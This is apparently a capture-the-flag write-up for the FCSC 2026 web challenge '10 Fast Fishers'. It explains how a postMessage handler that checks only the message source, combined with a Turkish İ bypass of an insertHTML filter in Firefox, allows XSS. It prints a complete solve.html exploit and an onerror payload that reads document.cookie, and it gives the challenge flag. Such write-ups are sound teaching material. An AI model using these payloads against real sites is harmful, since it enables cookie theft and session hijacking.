10 Fast Fishers | FCSC 2026

Challenge

Think you can type fast? Prove it in 10 Fast Fishers, the addictive underwater typing game where speed meets style!

A web typing game with a bot (Firefox 145 / Puppeteer) that visits a user-provided URL after setting a FLAG cookie on the game’s domain (httpOnly: false). The goal is to steal the cookie via XSS.

Architecture

  • App (port 5000): Static Express server hosting the game

    • index.html, main game page with a contentEditable editor and an <iframe> loading /aquarium
    • aquarium.html, iframe displaying swimming fish
    • game.js, game logic, postMessage handler, document.execCommand calls
    • aquarium.js, fish spawning with innerHTML sink
  • Bot (port 4000): Firefox 145 Puppeteer bot

    • Sets FLAG cookie on 10-fast-fishers-app domain
    • Visits user-provided URL, waits 5 seconds
    • All console.log output is sent back to the user

Vulnerability Analysis

1. postMessage source-only check (game.js)

The parent page accepts messages from the aquarium iframe but only checks e.source, not e.origin:

window.addEventListener('message', (e) => {
    if (e.source !== aquariumFrame.contentWindow) {
        console.warn('Message rejected: not from iframe');
        return;
    }
 
    const { type, data } = e.data;
    if (type === 'FISH_CLICKED') {
        handleFishClick(data);
    }
});

If I navigate the aquarium iframe to my controlled page, my page becomes aquariumFrame.contentWindow, and the source check passes.

2. insertHTML filter bypass via Turkish İ (U+0130)

The handleFishClick function blocks insertHTML:

if (command.toLowerCase() === 'inserthtml') {
    return;
}
document.execCommand(command, false, value);

The filter uses JavaScript’s String.prototype.toLowerCase(). The Turkish capital İ (U+0130, Latin Capital Letter I With Dot Above) has a special Unicode case mapping:

'İ'.toLowerCase() -> 'i' + U+0307 (combining dot above) = TWO characters

Therefore:

'\u0130nsertHTML'.toLowerCase() === 'i\u0307nserthtml'
// false

Meanwhile, Firefox’s internal execCommand implementation normalizes the command name differently. It recognizes İnsertHTML as the insertHTML command and executes it.

This is the core of the exploit: a Unicode case-folding mismatch between JavaScript’s toLowerCase() and Firefox’s internal command matching.

Exploit

Step 1 | Iframe hijacking

My exploit page embeds the game in an iframe, then navigates the game’s nested aquarium iframe to a second instance of itself (?step=2):

const game = document.createElement('iframe');
game.src = 'http://10-fast-fishers-app:5000';
document.body.appendChild(game);

setTimeout(() => {
    game.contentWindow[0].location = selfUrl + '?step=2';
}, 2000);

After navigation, aquariumFrame.contentWindow points to my page, so any postMessage I send passes the source check.

Step 2 | XSS via Turkish İ insertHTML bypass

From inside the hijacked iframe, I send a FISH_CLICKED message with the Turkish İ bypass:

window.parent.postMessage({
    type: 'FISH_CLICKED',
    data: {
        command: '\u0130nsertHTML',  // İnsertHTML to bypasses toLowerCase check
        value: '<img src=x onerror="console.log(document.cookie)">',
        targetWord: 'shrimp',       // matches initial currentSelectedWord
        points: 10,
        fishId: 0
    }
}, '*');

The game page:

  1. Checks e.source === aquariumFrame.contentWindow, which passes (I am the iframe)
  2. Checks command.toLowerCase() === 'inserthtml', which produces 'i̇nserthtml' !== 'inserthtml', so the filter is bypassed
  3. Executes document.execCommand('İnsertHTML', false, '<img src=x onerror=...>'). Firefox treats it as insertHTML, resulting in XSS!

The <img> element is injected into the contentEditable editor on the game page’s origin. The onerror fires, executing console.log(document.cookie) which reads the FLAG cookie. The bot captures the console output and sends it back.

Full exploit (solve.html)

<!DOCTYPE html>
<html>
<head><title>Solve</title></head>
<body>
<script>
    const TARGET = 'http://10-fast-fishers-app:5000';

    function send(type, data) {
        window.parent.postMessage({ type, data }, '*');
    }

    function fish(command, value, targetWord, points) {
        send('FISH_CLICKED', { command, value, points: points || 10, targetWord, fishId: 0 });
    }

    let step = (new URLSearchParams(document.location.search)).get("step");
    if (step == "2") {
        setTimeout(() => {
            fish(
                '\u0130nsertHTML',
                '<img src=x onerror="console.log(document.cookie)">',
                'shrimp',
                10
            );
        }, 500);
    } else {
        const url = new URL(window.location.href);
        url.searchParams.set("step", "2");

        const game = document.createElement('iframe');
        game.src = TARGET;
        game.style.width = '100%';
        game.style.height = '600px';
        document.body.appendChild(game);

        setTimeout(() => {
            game.contentWindow[0].location = url;
        }, 2000);
    }
</script>
</body>
</html>

Execution

$ echo http://<ip>/solve.html | nc challenges.fcsc.fr 2251

[T1]> [handleFishClick]> {"command":"İnsertHTML","value":"<img src=x onerror=\"console.log(document.cookie)\">", ...}
[T1]> FLAG=FCSC{ef387c83c9e558b135d9837c5dc43f46}

Flag

FCSC{ef387c83c9e558b135d9837c5dc43f46}